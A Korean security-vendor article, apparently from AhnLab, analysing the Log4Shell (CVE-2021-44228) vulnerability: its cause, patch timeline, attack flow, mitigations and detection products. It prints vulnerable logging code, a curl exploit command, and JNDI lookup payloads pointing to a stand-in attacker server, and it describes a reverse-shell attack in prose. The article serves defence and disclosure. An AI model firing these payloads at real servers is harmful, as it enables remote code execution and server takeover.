공포의 Log4j 취약점, 효과적인 대응 방안은?

2021년 12월 초, 보안 업계를 넘어 전 세계를 떠들썩하게 한 취약점이 발견되었다. 월간안 독자들도 익히 들어봤을 Log4j 취약점이다. 간단한 문자열을 활용해 원격 코드 실행을 통한 서버 장악이 가능하고, 취약점을 가진 Log4j 라이브러리가 세계적으로 사용되고 있어 ‘역사상 최악의’ 취약점으로 불리고 있다.

 

이번 글에서는 Log4j 취약점의 기본 개념부터 발생 원인, 공격 과정, 대응 방안 및 안랩의 대응 현황까지 상세한 분석 내용을 공유한다.

 

 

Log4j 취약점(CVE-2021-44228) 혹은 Log4Shell은 아파치(Apache) Log4j 2 라이브러리에서 발생하는 원격 코드 실행(Remote Code Execution) 취약점이다. CVSS(Common Vulnerability Scoring System) 점수는 10점으로, 가장 높은 심각도 등급에 속한다.

 

취약점이 발견된 Log4j 라이브러리는 프로그램의 로그를 남기기 위해 사용되는 자바(Java) 기반 오픈소스 유틸리티 프로그램이다. 공격자는 Log4j를 사용하여 로그를 저장할 때, 특정 문자열을 활용해 원격 서버의 자바 객체가 실행되도록 유도한다.

 

해당 취약점은 Log4j를 사용하는 대부분의 자바 소프트웨어에서 발생한다. 취약점 패치가 제공되기 전, 공격에 사용된 제로데이(Zero-day) 취약점에 속하기 때문에 피해 범위가 굉장히 넓다. 또한, HTTP 통신을 통한 간단한 공격이 가능해, 전 세계 다양한 서버 및 시스템을 대상으로 한 공격 시도가 증가하고 있다.

 

Log4j 취약점은 2021년 11월 24일 알리바바의 클라우드 보안팀이 아파치 소프트웨어 재단에 최초 보고한 뒤 12월 10일 Log4j 2.15.0 버전 업데이트 패치가 제공되었다. 이후 12월 12일 Log4j 2.15.1 버전 릴리즈가 업데이트 되었으나, 12월 13일 2.15.0 이하 버전에서 동작하는 신규 취약점 (CVE-2021-45046)이 발견되어 2.16.0 버전이 다시 업데이트 되었다.

 

이후 Log4j 2.16.0에서 동작하는 취약점이 발견되어 12월 18일 Log4j 2.17.0 패치가 다시 제공되었고, 12월 28일 Log4j 2.17.0 버전에서 동작하는 CVE-2021-44832 취약점이 추가로 공개되면서 Log4j 2.17.1 패치까지 제공된 상황이다.

 

취약점 발생 원인​​

Log4j 취약점(CVE-2021-44228)은 Log4j 라이브러리를 이용하여 로그를 저장할 때 ‘${jndi:ldap://자바객체 URL}’ 형식의 문자열이 포함된 경우, 별도의 검증 없이 원격의 자바 객체를 자신의 서버에서 실행시킬 수 있는 원격 코드 실행 취약점이다.

 

문자열에서 JNDI는 Java Naming and Directory Interface의 약어로, 자바 프로그램이 디렉토리를 통해 특정 데이터를 검색할 수 있도록 하는 디렉토리 서비스다. JNDI를 지원하는 다양한 방식 중 LDAP(Lightweight Directory Access Protocol) 프로토콜을 이용하여 ‘ldap://localhost:1389/o=JarPlugin’ 형태로 서버에서 자바 객체를 찾는 방법을 제공한다.

 

해당 취약점은 Log4j 라이브러리에서 ${prefix:name} 형식으로 특정 자바 객체를 참조할 수 있는 ‘검색(Lookups)’ 기능에 의해 발생했다. 해당 문법은 로그를 기록하는 과정에서도 사용할 수 있어, ‘${jndi:ldap://자바객체 URL}’ 와 같은 값을 추가하는 간단한 방법으로 원격지의 악의적인 코드 실행을 가능하게 한다.

 

이와 같은 방식으로 공격자는 다양한 공격 코드를 제작할 수 있으며, [표 1]과 같이 HTTP 통신의 User-Agent 및 X-Api-Version 헤더(Header)로 전송된 문자열을 로그로 기록하는 코드를 통해 취약점을 발생시킬 수 있다.

 

Manager.getLogger(VulnerableLog4jExampleHandler.class.getName());

...

String userAgent = he.getRequestHeader("user-agent");

String response = "<h1>Hello There, " + userAgent + "!</h1>";

log.error("Request User Agent:{}", userAgent);​

private static final Logger logger = LogManager.getLogger("HelloWorld");
...

public String index(@RequestHeader("X-Api-Version") String apiVersion){

logger.info("Received a request for API version " + apiVersion);

return "Hello, world!"}​
[표 1] 취약점 발생 가능한 코드 예시

 

공격자는 [표 2]와 같이 ‘X-Api-Version’ 헤더를 사용하여 ‘${jndi:ldap://자바객체 URL}’ 문자열을 전송하고 ‘xxx.xxx.xxx.xxx/a’ 주소에 위치한 자바 객체를 자동으로 서버에서 실행시킬 수 있다.

 

# curl <Victim-Addr>:8080 -H ‘X-Api-Version: ${jndi:ldap://xxx.xxx.xxx.xxx/a}’

[표 2] 취약점 공격 명령 예시

 

취약점 공격 과정​​

Log4j 취약점(CVE-2021-44228)을 이용한 공격 과정은 [그림 1]과 같다.

 

[그림 1] Log4j 취약점 공격 과정

 

공격자는 타겟 서버를 대상으로 HTTP 패킷의 X-Api-Version 헤더에 ${jndi:ldap://attaker-server.com/a} 문자열을 포함한 요청을 전송한다. 해당 문자열은 logger.info( … + apiVersion); 코드를 통해 로그로 출력되는 것이 아니라, 취약점에 의해 원격지의 공격자 서버에 존재하는 자바 클래스 파일(attacker-server.com/a)을 실행하게 된다.

 

취약점 공격에는 ‘X-Api-Version’ 헤더 외에 ‘User-Agent’ 헤더를 이용한 사례도 확인되었다. 또한, [그림 1]과 같이 원격지의 악성 자바 클래스 파일을 실행하지 않고, 실제 명령 코드를 포함한 HTTP 요청을 전송하여 직접 해당 명령을 실행하도록 한 사례가 공격에 사용된 것으로 알려졌다.

 

실제 취약점이 존재하는 환경에서 공격이 수행되는 과정은 깃허브(Github)에 공개된 POC 코드를 기반으로 설명한다.

 

공격자는 [그림 2]와 같이 대상 서버에서 실행할 명령어, Base64 인코딩한 데이터를 ‘X-Api-Version’ 헤더에 포함해 HTTP 요청을 전송한다.

 

[그림 2] 취약점을 통한 원격 명령 실행 과정 (1)

 

해당 요청은 취약점이 존재하는 Log4j 라이브러리에서 logger.info() 함수를 통해 객체 참조로 인식되며, ${jndi:ldap://<LDAP-Server>/Basic/Command/<Base64_Enc>} 주소로 LDAP 요청을 수행한다. 이때, 공격자는 LDAP 서버에 JNDI-Injection을 수행하기 위한 환경을 구축하여, 해당 LDAP 요청이 발생할 시 미리 구동중인 악성 자바 객체가 실행되도록 한다.

 

해당 과정을 통해 공격자가 의도한 명령문이 피해(Victim) 서버에서 실행되며, [그림 2] 와 같이 /tmp 폴더 하위에 ‘Log4Shell_Infected’ 파일이 생성되는 것을 확인할 수 있다.

 

이와 같은 방법으로 공격자는 파일 생성 외에도 다양한 명령문을 직접 대상 서버에서 실행할 수 있다.

 

[그림 3] 은 공격자가 취약점을 이용하여 동적으로 원격 명령을 수행하는 과정이다. LDAP 서버에 JNDI-Injection을 통한 원격 객체 참조가 가능하도록 환경을 구성하고, 위와 동일하게 ‘X-Api-Version’ 헤더에 해당 주소를 포함한 HTTP 쿼리를 공격 대상 서버로 전송한다.

 

[그림 3] 취약점을 통한 원격 명령 실행 과정 (2)

 

해당 요청은 공격자의 LDAP 서버의 4444 포트를 통해 리버스 쉘(Reverse Shell)을 실행할 수 있다. 리버스 쉘이란 공격자가 서버의 포트를 열고, 공격 대상 쪽에서 접속하여 생성하는 쉘을 의미한다.

 

공격자는 [그림 3]과 같이 LDAP 서버의 4444 포트로 리버스 커넥트한 공격 대상 시스템에 임의 명령을 실행하여 원하는 정보를 획득할 수 있다.

 

이와 같이 취약한 Log4j를 사용하는 서버로 HTTP 요청을 전송하는 간단한 방법을 통해 취약점을 동작 시킬 수 있다. User-Agent 헤더 외에도 서버 애플리케이션에서 문자열을 로깅하는 과정에서도 동일하게 취약점이 발생할 수 있다.

 

현재까지 취약점을 통해 다운로드 된 악성코드는 엘놋(Elknot), 미라이(Mirai), 무스틱(Muhstik) 등 리눅스 봇넷, 암호화폐 채굴 프로그램(킨싱: Kinsing), 콘사리(Khonsari) 랜섬웨어, 코발트 스트라이크 비콘 로더(Cobalt Strike Beacon Loader), 나노코어 RAT(Nanocore RAT) 툴 등이 있다. 이 외에도 공격 도구나 웜 악성코드를 통한 유포 형태로도 제작될 가능성이 있다.

 

Log4j 취약점은 전 세계에서 운영중인 자바 프레임워크 기반 서버를 대상으로 한 제로데이 공격이라는 점에서 공격 대상과 피해 범위가 매우 광범위하고, 현재도 공격 사례가 계속적으로 보고되고 있다. 또한, 2013년 9월 릴리즈 된 Apache Log4j 2.0-beta9 버전 이상의 모든 제품과 Log4j를 통해 로그를 기록하는 모든 소프트웨어에서 취약점이 동작하므로 제품의 적용 범위 또한 매우 큰 공격에 속한다.

 

Log4j 취약점을 통한 공격은 패치와 취약점의 속도전이 계속되고 있으며, 공격 빈도수 역시 전 세계적으로 증가하고 있다. 또, 추가적인 취약점이 연쇄적으로 발견될 가능성도 있다. 해당 취약점을 이용한 공격이 악성코드 다운로드 외에도 특정 타겟을 목적으로 한 APT 유형의 침해 공격으로도 이어질 수 있으므로, 개인과 기업 모두 취약점 공격에 대비해 신속한 최신 버전 패치와 취약점 완화 방안 적용이 필요하다.

 

취약점 대응 방안​​

Log4j 취약점이 발표된 후, 12월 10일 보안 패치가 업데이트 되었다. 12월 13일 기준 2.15.0 버전에서 동작하는 신규 취약점이 발견됨에 따라 2.16.0 버전의 패치가 공개됐다.

 

이후, Log4j 2.16.0에서 동작하는 취약점(CVE-2021-45105)이 발견됐다. 취약점 공격은 Log4j를 사용하는 소프트웨어에서 레이아웃 패턴(Layout Pattern)과 쓰레드 컨텍스트(Thread Context) 기능을 사용하는 경우 발생할 수 있다. 이에, 12월 18일 Log4j 2.17.0 패치가 다시 제공되었다.

 

이후, 12월 28일에 Log4j를 사용하는 응용프로그램에서 JDBCAppender 기능을 통해 원격 명령 실행을 가능케 하는 CVE-2021-44832 취약점이 발견됐다. 해당 공격은 공격자에 의해 log4j2.xml 설정 파일이 조작된 경우에 한해 발생한다. 이후 Log4j 2.17.1 패치가 업데이트 되었다.

 

Apache Log4j 2.0-beta9 버전 이상 2.17.0 이하 모든 버전의 경우 업데이트 패치가 권고된다.

- Log4j 2.17.1 패치파일 다운로드: https://logging.apache.org/log4j/2.x/download.html

 

취약점 패치가 어려운 경우 다음의 방법으로 임시 조치를 진행해야 한다.

 

취약점 완화 방안​

JndiLookup 클래스를 다음과 같이 제거:

# zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class​

PatternLayout 에서 ${ctx:loginId} 또는 $${ctx:loginId} 를 제거하거나 (%X, %mdc, or %MDC) 로 변경​

[표 3] 취약점 완화 방안

 

Log4j 1.x 버전 사용자의 경우 추가적인 업그레이드 지원 중지로 인해 다른 보안 위협에 노출될 가능성이 높아 최신 버전 업데이트 적용이 권고된다.

 

시스템에 설치된 Log4j 라이브러리 버전은 Log4j가 설치된 경로의 pom.xml 파일을 열어 log4j-core로 검색하여 ""사용버전(version)""을 확인할 수 있다.

 

취약점 완화에 대한 보다 자세한 사항은 Apache Log4j Security Vulnerabilities 사이트의 ’Mitigation’ 섹션을 참고하면 된다.

 

안랩 대응 현황​

안랩은 Log4j 취약점 공격을 탐지하기 위해 네트워크 차단 시그니처를 업데이트 하였으며, V3를 활용한 탐지 영상을 공개했다.

 

안랩 제품에서 V3, AhnLab TrusGuard IPX, AhnLab AIPS, Host IPS 제품을 통해 해당 취약점 탐지가 가능하다. 다만 V3 제품의 경우 네트워크 침입 차단 옵션을 활성화해야만 탐지가 가능하기 때문에 Log4j 취약점 예방을 위해서 가급적 네트워크 침입 차단 사용을 권장된다.

 

[그림 4] 네트워크 침입 차단 사용 기능 활성화

 

[그림 5] V3 기업용 제품에 추가된 Log4j 네트워크 탐지 시그니처 목록

 

V3 기업용 유료 제품의 네트워크 차단 기능을 활용한 Log4j 취약점 탐지 및 차단 영상은 다음 경로에서 확인할 수 있다. 또한, 안랩은 ASEC블로그, 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스 등 다양한 경로를 통해 해당 취약점에 대한 최신 정보를 업데이트하고 있다.

 

출처 : AhnLab

02-553-2331
견적 요청
카카오톡 문의